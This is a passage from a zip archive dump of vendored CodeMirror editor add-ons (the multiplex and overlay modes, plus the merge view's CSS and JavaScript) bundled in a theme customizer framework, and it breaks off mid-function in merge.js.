            state.inner = CodeMirror.startState(other.mode, outer.indent ? outer.indent(state.outer, "") : 0);
            return other.delimStyle && (other.delimStyle + " " + other.delimStyle + "-open");
          } else if (found != -1 && found < cutOff) {
            cutOff = found;
          }
        }
        if (cutOff != Infinity) stream.string = oldContent.slice(0, cutOff);
        var outerToken = outer.token(stream, state.outer);
        if (cutOff != Infinity) stream.string = oldContent;
        return outerToken;
      } else {
        var curInner = state.innerActive, oldContent = stream.string;
        if (!curInner.close && stream.sol()) {
          state.innerActive = state.inner = null;
          return this.token(stream, state);
        }
        var found = curInner.close ? indexOf(oldContent, curInner.close, stream.pos, curInner.parseDelimiters) : -1;
        if (found == stream.pos && !curInner.parseDelimiters) {
          stream.match(curInner.close);
          state.innerActive = state.inner = null;
          return curInner.delimStyle && (curInner.delimStyle + " " + curInner.delimStyle + "-close");
        }
        if (found > -1) stream.string = oldContent.slice(0, found);
        var innerToken = curInner.mode.token(stream, state.inner);
        if (found > -1) stream.string = oldContent;

        if (found == stream.pos && curInner.parseDelimiters)
          state.innerActive = state.inner = null;

        if (curInner.innerStyle) {
          if (innerToken) innerToken = innerToken + " " + curInner.innerStyle;
          else innerToken = curInner.innerStyle;
        }

        return innerToken;
      }
    },

    indent: function(state, textAfter) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (!mode.indent) return CodeMirror.Pass;
      return mode.indent(state.innerActive ? state.inner : state.outer, textAfter);
    },

    blankLine: function(state) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (mode.blankLine) {
        mode.blankLine(state.innerActive ? state.inner : state.outer);
      }
      if (!state.innerActive) {
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          if (other.open === "\n") {
            state.innerActive = other;
            state.inner = CodeMirror.startState(other.mode, mode.indent ? mode.indent(state.outer, "") : 0);
          }
        }
      } else if (state.innerActive.close === "\n") {
        state.innerActive = state.inner = null;
      }
    },

    electricChars: outer.electricChars,

    innerMode: function(state) {
      return state.inner ? {state: state.inner, mode: state.innerActive.mode} : {state: state.outer, mode: outer};
    }
  };
};

});
PK     0w\Uӹ    F  customizer/framework/assets/js/vendor/codemirror/addon/mode/overlay.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Utility function that allows modes to be combined. The mode given
// as the base argument takes care of most of the normal mode
// functionality, but a second (typically simple) mode is used, which
// can override the style of text. Both modes get to parse all of the
// text, but when both assign a non-null style to a piece of code, the
// overlay wins, unless the combine argument was true and not overridden,
// or state.overlay.combineTokens was true, in which case the styles are
// combined.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.overlayMode = function(base, overlay, combine) {
  return {
    startState: function() {
      return {
        base: CodeMirror.startState(base),
        overlay: CodeMirror.startState(overlay),
        basePos: 0, baseCur: null,
        overlayPos: 0, overlayCur: null,
        streamSeen: null
      };
    },
    copyState: function(state) {
      return {
        base: CodeMirror.copyState(base, state.base),
        overlay: CodeMirror.copyState(overlay, state.overlay),
        basePos: state.basePos, baseCur: null,
        overlayPos: state.overlayPos, overlayCur: null
      };
    },

    token: function(stream, state) {
      if (stream != state.streamSeen ||
          Math.min(state.basePos, state.overlayPos) < stream.start) {
        state.streamSeen = stream;
        state.basePos = state.overlayPos = stream.start;
      }

      if (stream.start == state.basePos) {
        state.baseCur = base.token(stream, state.base);
        state.basePos = stream.pos;
      }
      if (stream.start == state.overlayPos) {
        stream.pos = stream.start;
        state.overlayCur = overlay.token(stream, state.overlay);
        state.overlayPos = stream.pos;
      }
      stream.pos = Math.min(state.basePos, state.overlayPos);

      // state.overlay.combineTokens always takes precedence over combine,
      // unless set to null
      if (state.overlayCur == null) return state.baseCur;
      else if (state.baseCur != null &&
               state.overlay.combineTokens ||
               combine && state.overlay.combineTokens == null)
        return state.baseCur + " " + state.overlayCur;
      else return state.overlayCur;
    },

    indent: base.indent && function(state, textAfter) {
      return base.indent(state.base, textAfter);
    },
    electricChars: base.electricChars,

    innerMode: function(state) { return {state: state.base, mode: base}; },

    blankLine: function(state) {
      if (base.blankLine) base.blankLine(state.base);
      if (overlay.blankLine) overlay.blankLine(state.overlay);
    }
  };
};

});
PK     0w\e؁V    F  customizer/framework/assets/js/vendor/codemirror/addon/merge/merge.cssnu [        .CodeMirror-merge {
  position: relative;
  border: 1px solid #ddd;
  white-space: pre;
}

.CodeMirror-merge, .CodeMirror-merge .CodeMirror {
  height: 350px;
}

.CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; }
.CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; }
.CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; }
.CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; }

.CodeMirror-merge-pane {
  display: inline-block;
  white-space: normal;
  vertical-align: top;
}
.CodeMirror-merge-pane-rightmost {
  position: absolute;
  right: 0px;
  z-index: 1;
}

.CodeMirror-merge-gap {
  z-index: 2;
  display: inline-block;
  height: 100%;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
  border-left: 1px solid #ddd;
  border-right: 1px solid #ddd;
  position: relative;
  background: #f8f8f8;
}

.CodeMirror-merge-scrolllock-wrap {
  position: absolute;
  bottom: 0; left: 50%;
}
.CodeMirror-merge-scrolllock {
  position: relative;
  left: -50%;
  cursor: pointer;
  color: #555;
  line-height: 1;
}

.CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right {
  position: absolute;
  left: 0; top: 0;
  right: 0; bottom: 0;
  line-height: 1;
}

.CodeMirror-merge-copy {
  position: absolute;
  cursor: pointer;
  color: #44c;
}

.CodeMirror-merge-copy-reverse {
  position: absolute;
  cursor: pointer;
  color: #44c;
}

.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; }
.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; }

.CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted {
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted {
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
}

.CodeMirror-merge-r-chunk { background: #ffffe0; }
.CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; }
.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; }
.CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; }

.CodeMirror-merge-l-chunk { background: #eef; }
.CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; }
.CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; }
.CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; }

.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; }
.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; }
.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; }

.CodeMirror-merge-collapsed-widget:before {
  content: "(...)";
}
.CodeMirror-merge-collapsed-widget {
  cursor: pointer;
  color: #88b;
  background: #eef;
  border: 1px solid #ddf;
  font-size: 90%;
  padding: 0 3px;
  border-radius: 4px;
}
.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt { display: none; }
PK     0w\^o  ^o  E  customizer/framework/assets/js/vendor/codemirror/addon/merge/merge.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// declare global: diff_match_patch, DIFF_INSERT, DIFF_DELETE, DIFF_EQUAL

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror")); // Note non-packaged dependency diff_match_patch
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "diff_match_patch"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var Pos = CodeMirror.Pos;
  var svgNS = "http://www.w3.org/2000/svg";

  function DiffView(mv, type) {
    this.mv = mv;
    this.type = type;
    this.classes = type == "left"
      ? {chunk: "CodeMirror-merge-l-chunk",
         start: "CodeMirror-merge-l-chunk-start",
         end: "CodeMirror-merge-l-chunk-end",
         insert: "CodeMirror-merge-l-inserted",
         del: "CodeMirror-merge-l-deleted",
         connect: "CodeMirror-merge-l-connect"}
      : {chunk: "CodeMirror-merge-r-chunk",
         start: "CodeMirror-merge-r-chunk-start",
         end: "CodeMirror-merge-r-chunk-end",
         insert: "CodeMirror-merge-r-inserted",
         del: "CodeMirror-merge-r-deleted",
         connect: "CodeMirror-merge-r-connect"};
  }

  DiffView.prototype = {
    constructor: DiffView,
    init: function(pane, orig, options) {
      this.edit = this.mv.edit;
      (this.edit.state.diffViews || (this.edit.state.diffViews = [])).push(this);
      this.orig = CodeMirror(pane, copyObj({value: orig, readOnly: !this.mv.options.allowEditingOriginals}, copyObj(options)));
      this.orig.state.diffViews = [this];

      this.diff = getDiff(asString(orig), asString(options.value));
      this.chunks = getChunks(this.diff);
      this.diffOutOfDate = this.dealigned = false;

      this.showDifferences = options.showDifferences !== false;
      this.forceUpdate = registerUpdate(this);
      setScrollLock(this, true, false);
      registerScroll(this);
    },
    setShowDifferences: function(val) {
      val = val !== false;
      if (val != this.showDifferences) {
        this.showDifferences = val;
        this.forceUpdate("full");
      }
    }
  };

  function ensureDiff(dv) {
    if (dv.diffOutOfDate) {
      dv.diff = getDiff(dv.orig.getValue(), dv.edit.getValue());
      dv.chunks = getChunks(dv.diff);
      dv.diffOutOfDate = false;
      CodeMirror.signal(dv.edit, "updateDiff", dv.diff);
    }
  }

  var updating = false;
  function registerUpdate(dv) {
    var edit = {from: 0, to: 0, marked: []};
    var orig = {from: 0, to: 0, marked: []};
    var debounceChange, updatingFast = false;
    function update(mode) {
      updating = true;
      updatingFast = false;
      if (mode == "full") {
        if (dv.svg) clear(dv.svg);
        if (dv.copyButtons) clear(dv.copyButtons);
        clearMarks(dv.edit, edit.marked, dv.classes);
        clearMarks(dv.orig, orig.marked, dv.classes);
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      ensureDiff(dv);
      if (dv.showDifferences) {
        updateMarks(dv.edit, dv.diff, edit, DIFF_INSERT, dv.classes);
        updateMarks(dv.orig, dv.diff, orig, DIFF_DELETE, dv.classes);
      }
      makeConnections(dv);

      if (dv.mv.options.connect == "align")
        alignChunks(dv);
      updating = false;
    }
    function setDealign(fast) {
      if (updating) return;
      dv.dealigned = true;
      set(fast);
    }
    function set(fast) {
      if (updating || updatingFast) return;
      clearTimeout(debounceChange);
      if (fast === true) updatingFast = true;
      debounceChange = setTimeout(update, fast === true ? 20 : 250);
    }
    function change(_cm, change) {
      if (!dv.diffOutOfDate) {
        dv.diffOutOfDate = true;
        edit.from = edit.to = orig.from = orig.to = 0;
      }
      // Update faster when a line was added/removed
      setDealign(change.text.length - 1 != change.to.line - change.from.line);
    }
    dv.edit.on("change", change);
    dv.orig.on("change", change);
    dv.edit.on("markerAdded", setDealign);
    dv.edit.on("markerCleared", setDealign);
    dv.orig.on("markerAdded", setDealign);
    dv.orig.on("markerCleared", setDealign);
    dv.edit.on("viewportChange", function() { set(false); });
    dv.orig.on("viewportChange", function() { set(false); });
    update();
    return update;
  }

  function registerScroll(dv) {
    dv.edit.on("scroll", function() {
      syncScroll(dv, DIFF_INSERT) && makeConnections(dv);
    });
    dv.orig.on("scroll", function() {
      syncScroll(dv, DIFF_DELETE) && makeConnections(dv);
    });
  }

  function syncScroll(dv, type) {
    // Change handler will do a refresh after a timeout when diff is out of date
    if (dv.diffOutOfDate) return false;
    if (!dv.lockScroll) return true;
    var editor, other, now = +new Date;
    if (type == DIFF_INSERT) { editor = dv.edit; other = dv.orig; }
    else { editor = dv.orig; other = dv.edit; }
    // Don't take action if the position of this editor was recently set
    // (to prevent feedback loops)
    if (editor.state.scrollSetBy == dv && (editor.state.scrollSetAt || 0) + 50 > now) return false;

    var sInfo = editor.getScrollInfo();
    if (dv.mv.options.connect == "align") {
      targetPos = sInfo.top;
    } else {
      var halfScreen = .5 * sInfo.clientHeight, midY = sInfo.top + halfScreen;
      var mid = editor.lineAtHeight(midY, "local");
      var around = chunkBoundariesAround(dv.chunks, mid, type == DIFF_INSERT);
      var off = getOffsets(editor, type == DIFF_INSERT ? around.edit : around.orig);
      var offOther = getOffsets(other, type == DIFF_INSERT ? around.orig : around.edit);
      var ratio = (midY - off.top) / (off.bot - off.top);
      var targetPos = (offOther.top - halfScreen) + ratio * (offOther.bot - offOther.top);

      var botDist, mix;
      // Some careful tweaking to make sure no space is left out of view
      // when scrolling to top or bottom.
      if (targetPos > sInfo.top && (mix = sInfo.top / halfScreen) < 1) {
        targetPos = targetPos * mix + sInfo.top * (1 - mix);
      } else if ((botDist = sInfo.height - sInfo.clientHeight - sInfo.top) < halfScreen) {
        var otherInfo = other.getScrollInfo();
        var botDistOther = otherInfo.height - otherInfo.clientHeight - targetPos;
        if (botDistOther > botDist && (mix = botDist / halfScreen) < 1)
          targetPos = targetPos * mix + (otherInfo.height - otherInfo.clientHeight - botDist) * (1 - mix);
      }
    }

    other.scrollTo(sInfo.left, targetPos);
    other.state.scrollSetAt = now;
    other.state.scrollSetBy = dv;
    return true;
  }

  function getOffsets(editor, around) {
    var bot = around.after;
    if (bot == null) bot = editor.lastLine() + 1;
    return {top: editor.heightAtLine(around.before || 0, "local"),
            bot: editor.heightAtLine(bot, "local")};
  }

  function setScrollLock(dv, val, action) {
    dv.lockScroll = val;
    if (val && action != false) syncScroll(dv, DIFF_INSERT) && makeConnections(dv);
    dv.lockButton.innerHTML = val ? "\u21db\u21da" : "\u21db&nbsp;&nbsp;\u21da";
  }

  // Updating the marks for editor content

  function clearMarks(editor, arr, classes) {
    for (var i = 0; i < arr.length; ++i) {
      var mark = arr[i];
      if (mark instanceof CodeMirror.TextMarker) {
        mark.clear();
      } else if (mark.parent) {
        editor.removeLineClass(mark, "background", classes.chunk);
        editor.removeLineClass(mark, "background", classes.start);
        editor.removeLineClass(mark, "background", classes.end);
      }
    }
    arr.length = 0;
  }

  // FIXME maybe add a margin around viewport to prevent too many updates
  function updateMarks(editor, diff, state, type, classes) {
    var vp = editor.getViewport();
    editor.operation(function() {
      if (state.from == state.to || vp.from - state.to > 20 || state.from - vp.to > 20) {
        clearMarks(editor, state.marked, classes);
        markChanges(editor, diff, type, state.marked, vp.from, vp.to, classes);
        state.from = vp.from; state.to = vp.to;
      } else {
        if (vp.from < state.from) {
          markChanges(editor, diff, type, state.marked, vp.from, state.from, classes);
          state.from = vp.from;
        }
        if (vp.to > state.to) {
          markChanges(editor, diff, type, state.marked, state.to, vp.to, classes);
          state.to = vp.to;
        }
      }
    });
  }

  function markChanges(editor, diff, type, marks, from, to, classes) {
    var pos = Pos(0, 0);
    var top = Pos(from, 0), bot = editor.clipPos(Pos(to - 1));
    var cls = type == DIFF_DELETE ? classes.del : classes.insert;
    function markChunk(start, end) {
      var bfrom = Math.max(from, start), bto = Math.min(to, end);
      for (var i = bfrom; i < bto; ++i) {
        var line = editor.addLineClass(i, "background", classes.chunk);
        if (i == start) editor.addLineClass(line, "background", classes.start);
        if (i == end - 1) editor.addLineClass(line, "background", classes.end);
        marks.push(line);
      }
      // When the chunk is empty, make sure a horizontal line shows up
      if (start == end && bfrom == end && bto == end) {
        if (bfrom)
          marks.push(editor.addLineClass(bfrom - 1, "background", classes.end));
        else
          marks.push(editor.addLineClass(bfrom, "background", classes.start));
      }
    }

    var chunkStart = 0;
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0], str = part[1];
      if (tp == DIFF_EQUAL) {
        var cleanFrom = pos.line + (startOfLineClean(diff, i) ? 0 : 1);
        moveOver(pos, str);
        var cleanTo = pos.line + (endOfLineClean(diff, i) ? 1 : 0);
        if (cleanTo > cleanFrom) {
          if (i) markChunk(chunkStart, cleanFrom);
          chunkStart = cleanTo;
        }
      } else {
        if (tp == type) {
          var end = moveOver(pos, str, true);
          var a = posMax(top, pos), b = posMin(bot, end);
          if (!posEq(a, b))
            marks.push(editor.markText(a, b, {className: cls}));
          pos = end;
        }
      }
    }
    if (chunkStart <= pos.line) markChunk(chunkStart, pos.line + 1);
  }

  // Updating the gap between editor and original

  function makeConnections(dv) {
    if (!dv.showDifferences) return;

    if (dv.svg) {
      clear(dv.svg);
      var w = dv.gap.offsetWidth;
      attrs(dv.svg, "width", w, "height", dv.gap.offsetHeight);
    }
    if (dv.copyButtons) clear(dv.copyButtons);

    var vpEdit = dv.edit.getViewport(), vpOrig = dv.orig.getViewport();
    var sTopEdit = dv.edit.getScrollInfo().top, sTopOrig = dv.orig.getScrollInfo().top;
    for (var i = 0; i < dv.chunks.length; i++) {
      var ch = dv.chunks[i];
      if (ch.editFrom <= vpEdit.to && ch.editTo >= vpEdit.from &&
          ch.origFrom <= vpOrig.to && ch.origTo >= vpOrig.from)
        drawConnectorsForChunk(dv, ch, sTopOrig, sTopEdit, w);
    }
  }

  function getMatchingOrigLine(editLine, chunks) {
    var editStart = 0, origStart = 0;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      if (chunk.editTo > editLine && chunk.editFrom <= editLine) return null;
      if (chunk.editFrom > editLine) break;
      editStart = chunk.editTo;
      origStart = chunk.origTo;
    }
    return origStart + (editLine - editStart);
  }

  function findAlignedLines(dv, other) {
    var linesToAlign = [];
    for (var i = 0; i < dv.chunks.length; i++) {
      var chunk = dv.chunks[i];
      linesToAlign.push([chunk.origTo, chunk.editTo, other ? getMatchingOrigLine(chunk.editTo, other.chunks) : null]);
    }
    if (other) {
      for (var i = 0; i < other.chunks.length; i++) {
        var chunk = other.chunks[i];
        for (var j = 0; j < linesToAlign.length; j++) {
          var align = linesToAlign[j];
          if (align[1] == chunk.editTo) {
            j = -1;
            break;
          } else if (align[1] > chunk.editTo) {
            break;
          }
        }
        if (j > -1)
          linesToAlign.splice(j - 1, 0, [getMatchingOrigLine(chunk.editTo, dv.chunks), chunk.editTo, chunk.origTo]);
      }
    }
    return linesToAlign;
  }

  function alignChunks(dv, force) {
    if (!dv.dealigned && !force) return;
    if (!dv.orig.curOp) return dv.orig.operation(function() {
      alignChunks(dv, force);
    });

    dv.dealigned = false;
    var other = dv.mv.left == dv ? dv.mv.right : dv.mv.left;
    if (other) {
      ensureDiff(other);
      other.dealigned = false;
    }
    var linesToAlign = findAlignedLines(dv, other);

    // Clear old aligners
    var aligners = dv.mv.aligners;
    for (var i = 0; i < aligners.length; i++)
      aligners[i].clear();
    aligners.length = 0;

    var cm = [dv.orig, dv.edit], scroll = [];
    if (other) cm.push(other.orig);
    for (var i = 0; i < cm.length; i++)
      scroll.push(cm[i].getScrollInfo().top);

    for (var ln = 0; ln < linesToAlign.length; ln++)
      alignLines(cm, linesToAlign[ln], aligners);

    for (var i = 0; i < cm.length; i++)
      cm[i].scrollTo(null, scroll[i]);
  }

  function alignLines(cm, lines, aligners) {
    var maxOffset = 0, offset = [];
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var off = cm[i].heightAtLine(lines[i], "local");
      offset[i] = off;
      maxOffset = Math.max(maxOffset, off);
    }
    for (var i = 0; i < cm.length; i++) if (lines[i] != null) {
      var diff = maxOffset - offset[i];
      if (diff > 1)
        aligners.push(padAbove(cm[i], lines[i], diff));
    }
  }

  function padAbove(cm, line, size) {
    var above = true;
    if (line > cm.lastLine()) {
      line--;
      above = false;
    }
    var elt = document.createElement("div");
    elt.className = "CodeMirror-merge-spacer";
    elt.style.height = size + "px"; elt.style.minWidth = "1px";
    return cm.addLineWidget(line, elt, {height: size, above: above});
  }

  function drawConnectorsForChunk(dv, chunk, sTopOrig, sTopEdit, w) {
    var flip = dv.type == "left";
    var top = dv.orig.heightAtLine(chunk.origFrom, "local") - sTopOrig;
    if (dv.svg) {
      var topLpx = top;
      var topRpx = dv.edit.heightAtLine(chunk.editFrom, "local") - sTopEdit;
      if (flip) { var tmp = topLpx; topLpx = topRpx; topRpx = tmp; }
      var botLpx = dv.orig.heightAtLine(chunk.origTo, "local") - sTopOrig;
      var botRpx = dv.edit.heightAtLine(chunk.editTo, "local") - sTopEdit;
      if (flip) { var tmp = botLpx; botLpx = botRpx; botRpx = tmp; }
      var curveTop = " C " + w/2 + " " + topRpx + " " + w/2 + " " + topLpx + " " + (w + 2) + " " + topLpx;
      var curveBot = " C " + w/2 + " " + botLpx + " " + w/2 + " " + botRpx + " -1 " + botRpx;
      attrs(dv.svg.appendChild(document.createElementNS(svgNS, "path")),
            "d", "M -1 " + topRpx + curveTop + " L " + (w + 2) + " " + botLpx + curveBot + " z",
            "class", dv.classes.connect);
    }
    if (dv.copyButtons) {
      var copy = dv.copyButtons.appendChild(elt("div", dv.type == "left" ? "\u21dd" : "\u21dc",
                                                "CodeMirror-merge-copy"));
      var editOriginals = dv.mv.options.allowEditingOriginals;
      copy.title = editOriginals ? "Push to left" : "Revert chunk";
      copy.chunk = chunk;
      copy.style.top = top + "px";

      if (editOriginals) {
        var topReverse = dv.orig.heightAtLine(chunk.editFrom, "local") - sTopEdit;
        var copyReverse = dv.copyButtons.appendChild(elt("div", dv.type == "right" ? "\u21dd" : "\u21dc",
                                                         "CodeMirror-merge-copy-reverse"));
        copyReverse.title = "Push to right";
        copyReverse.chunk = {editFrom: chunk.origFrom, editTo: chunk.origTo,
                             origFrom: chunk.editFrom, origTo: chunk.editTo};
        copyReverse.style.top = topReverse + "px";
        dv.type == "right" ? copyReverse.style.left = "2px" : copyReverse.style.right = "2px";
      }
    }
  }

  function copyChunk(dv, to, from, chunk) {
    if (dv.diffOutOfDate) return;
    to.replaceRange(from.getRange(Pos(chunk.origFrom, 0), Pos(chunk.origTo, 0)),
                         Pos(chunk.editFrom, 0), Pos(chunk.editTo, 0));
  }

  // Merge view, containing 0, 1, or 2 diff views.

  var MergeView = CodeMirror.MergeView = function(node, options) {
    if (!(this instanceof MergeView)) return new MergeView(node, options);

    this.options = options;
    var origLeft = options.origLeft, origRight = options.origRight == null ? options.orig : options.origRight;

    var hasLeft = origLeft != null, hasRight = origRight != null;
    var panes = 1 + (hasLeft ? 1 : 0) + (hasRight ? 1 : 0);
    var wrap = [], left = this.left = null, right = this.right = null;
    var self = this;

    if (hasLeft) {
      left = this.left = new DiffView(this, "left");
      var leftPane = elt("div", null, "CodeMirror-merge-pane");
      wrap.push(leftPane);
      wrap.push(buildGap(left));
    }

    var editPane = elt("div", null, "CodeMirror-merge-pane");
    wrap.push(editPane);

    if (hasRight) {
      right = this.right = new DiffView(this, "right");
      wrap.push(buildGap(right));
      var rightPane = elt("div", null, "CodeMirror-merge-pane");
      wrap.push(rightPane);
    }

    (hasRight ? rightPane : editPane).className += " CodeMirror-merge-pane-rightmost";

    wrap.push(elt("div", null, null, "height: 0; clear: both;"));

    var wrapElt = this.wrap = node.appendChild(elt("div", wrap, "CodeMirror-merge CodeMirror-merge-" + panes + "pane"));
    this.edit = CodeMirror(editPane, copyObj(options));

    if (left) left.init(leftPane, origLeft, options);
    if (right) right.init(rightPane, origRight, options);

    if (options.collapseIdentical)
      this.editor().operation(function() {
        collapseIdenticalStretches(self, options.collapseIdentical);
      });
    if (options.connect == "align") {
      this.aligners = [];
      alignChunks(this.left || this.right, true);
    }

    var onResize = function() {
      if (left) makeConnections(left);
      if (right) makeConnections(right);
    };
    CodeMirror.on(window, "resize", onResize);
    var resizeInterval = setInterval(function() {
      for (var p = wrapElt.parentNode; p && p != document.body; p = p.parentNode) {}
      if (!p) { clearInterval(resizeInterval); CodeMirror.off(window, "resize", onResize); }
    }, 5000);
  };

  function buildGap(dv) {
    var lock = dv.lockButton = elt("div", null, "CodeMirror-merge-scrolllock");
    lock.title = "Toggle locked scrolling";
    var lockWrap = elt("div", [lock], "CodeMirror-merge-scrolllock-wrap");
    CodeMirror.on(lock, "click", function() { setScrollLock(dv, !dv.lockScroll); });
    var gapElts = [lockWrap];
    if (dv.mv.options.revertButtons !== false) {
      dv.copyButtons = elt("div", null, "CodeMirror-merge-copybuttons-" + dv.type);
      CodeMirror.on(dv.copyButtons, "click", function(e) {
        var node = e.target || e.srcElement;
        if (!node.chunk) return;
        if (node.className == "CodeMirror-merge-copy-reverse") {
          copyChunk(dv, dv.orig, dv.edit, node.chunk);
          return;
        }
        copyChunk(dv, dv.edit, dv.orig, node.chunk);
      });
      gapElts.unshift(dv.copyButtons);
    }
    if (dv.mv.options.connect != "align") {
      var svg = document.createElementNS && document.createElementNS(svgNS, "svg");
      if (svg && !svg.createSVGRect) svg = null;
      dv.svg = svg;
      if (svg) gapElts.push(svg);
    }

    return dv.gap = elt("div", gapElts, "CodeMirror-merge-gap");
  }

  MergeView.prototype = {
    constuctor: MergeView,
    editor: function() { return this.edit; },
    rightOriginal: function() { return this.right && this.right.orig; },
    leftOriginal: function() { return this.left && this.left.orig; },
    setShowDifferences: function(val) {
      if (this.right) this.right.setShowDifferences(val);
      if (this.left) this.left.setShowDifferences(val);
    },
    rightChunks: function() {
      if (this.right) { ensureDiff(this.right); return this.right.chunks; }
    },
    leftChunks: function() {
      if (this.left) { ensureDiff(this.left); return this.left.chunks; }
    }
  };

  function asString(obj) {
    if (typeof obj == "string") return obj;
    else return obj.getValue();
  }

  // Operations on diffs

  var dmp = new diff_match_patch();
  function getDiff(a, b) {
    var diff = dmp.diff_main(a, b);
    dmp.diff_cleanupSemantic(diff);
    // The library sometimes leaves in empty parts, which confuse the algorithm
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i];
      if (!part[1]) {
        diff.splice(i--, 1);
      } else if (i && diff[i - 1][0] == part[0]) {
        diff.splice(i--, 1);
        diff[i][1] += part[1];
      }
    }
    return diff;
  }

  function getChunks(diff) {
    var chunks = [];
    var startEdit = 0, startOrig = 0;
    var edit = Pos(0, 0), orig = Pos(0, 0);
    for (var i = 0; i < diff.length; ++i) {
      var part = diff[i], tp = part[0];
      if (tp == DIFF_EQUAL) {
        var startOff = startOfLineClean(diff, i) ? 0 : 1;
        var cleanFromEdit = edit.line + startOff, cleanFromOrig = orig.line + startOff;
        moveOver(edit, part[1], null, orig);
        var endOff = endOfLineClean(diff, i) ? 1 : 0;
        var cleanToEdit = edit.line + endOff, cleanToOrig = orig.line + endOff;
        if (cleanToEdit > cleanFromEdit) {
          if (i) chunks.push({origFrom: startOrig, origTo: cleanFromOrig,
                              editFrom: startEdit, editTo: cleanFromEdit});
          startEdit = cleanToEdit; startOrig = cleanToOrig;
        }
      } else {
        moveOver(tp == DIFF_INSERT ? edit : orig, part[1]);
      }
    }
    if (startEdit <= edit.line || startOrig <= orig.line)
      chunks.push({origFrom: startOrig, origTo: orig.line + 1,
                   editFrom: startEdit, editTo: edit.line + 1});
    return chunks;
  }

  function endOfLineClean(diff, i) {
    if (i == diff.length - 1) return true;
    var next = diff[i + 1][1];
    if (next.length == 1 || next.charCodeAt(0) != 10) return false;
    if (i == diff.length - 2) return true;
    next = diff[i + 2][1];
    return next.length > 1 && next.charCodeAt(0) == 10;
  }

  function startOfLineClean(diff, i) {
    if (i == 0) return true;
    var last = diff[i - 1][1];
    if (last.charCodeAt(last.length - 1) != 10) return false;
    if (i == 1) return true;
    last = diff[i - 2][1];
    return last.charCodeAt(last.length - 1) == 10;
  }

  function chunkBoundariesAround(chunks, n, nInEdit) {
    var beforeE, afterE, beforeO, afterO;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var fromLocal = nInEdit ? chunk.editFrom : chunk.origFrom;
      var toLocal = nInEdit ? chunk.editTo : chunk.origTo;
      if (afterE == null) {
        if (fromLocal > n) { afterE = chunk.editFrom; afterO = chunk.origFrom; }
        else if (toLocal > n) { afterE = chunk.editTo; afterO = chunk.origTo; }
      }
      if (toLocal <= n) { beforeE = chunk.editTo; beforeO = chunk.origTo; }
      else if (fromLocal <= n) { beforeE = chunk.editFrom; beforeO = chunk.origFrom; }
    }
    return {edit: {before: beforeE, after: afterE}, orig: {before: beforeO, after: afterO}};
  }

  function collapseSingle(cm, from, to) {
    cm.addLineClass(from, "wrap", "CodeMirror-merge-collapsed-line");
    var widget = document.createElement("span");
    widget.className = "CodeMirror-merge-collapsed-widget";
    widget.title = "Identical text collapsed. Click to expand.";
    var mark = cm.markText(Pos(from, 0), Pos(to - 1), {
      inclusiveLeft: true,
      inclusiveRight: true,
      replacedWith: widget,
      clearOnEnter: true
    });
    function clear() {
      mark.clear();
      cm.removeLineClass(from, "wrap", "CodeMirror-merge-collapsed-line");
    }
    CodeMirror.on(widget, "click", clear);
    return {mark: mark, clear: clear};
  }

  function collapseStretch(size, editors) {
    var marks = [];
    function clear() {
      for (var i = 0; i < marks.length; i++) marks[i].clear();
    }
    for (var i = 0; i < editors.length; i++) {
      var editor = editors[i];
      var mark = collapseSingle(editor.cm, editor.line, editor.line + size);
      marks.push(mark);
      mark.mark.on("clear", clear);
    }
    return marks[0].mark;
  }

  function unclearNearChunks(dv, margin, off, clear) {
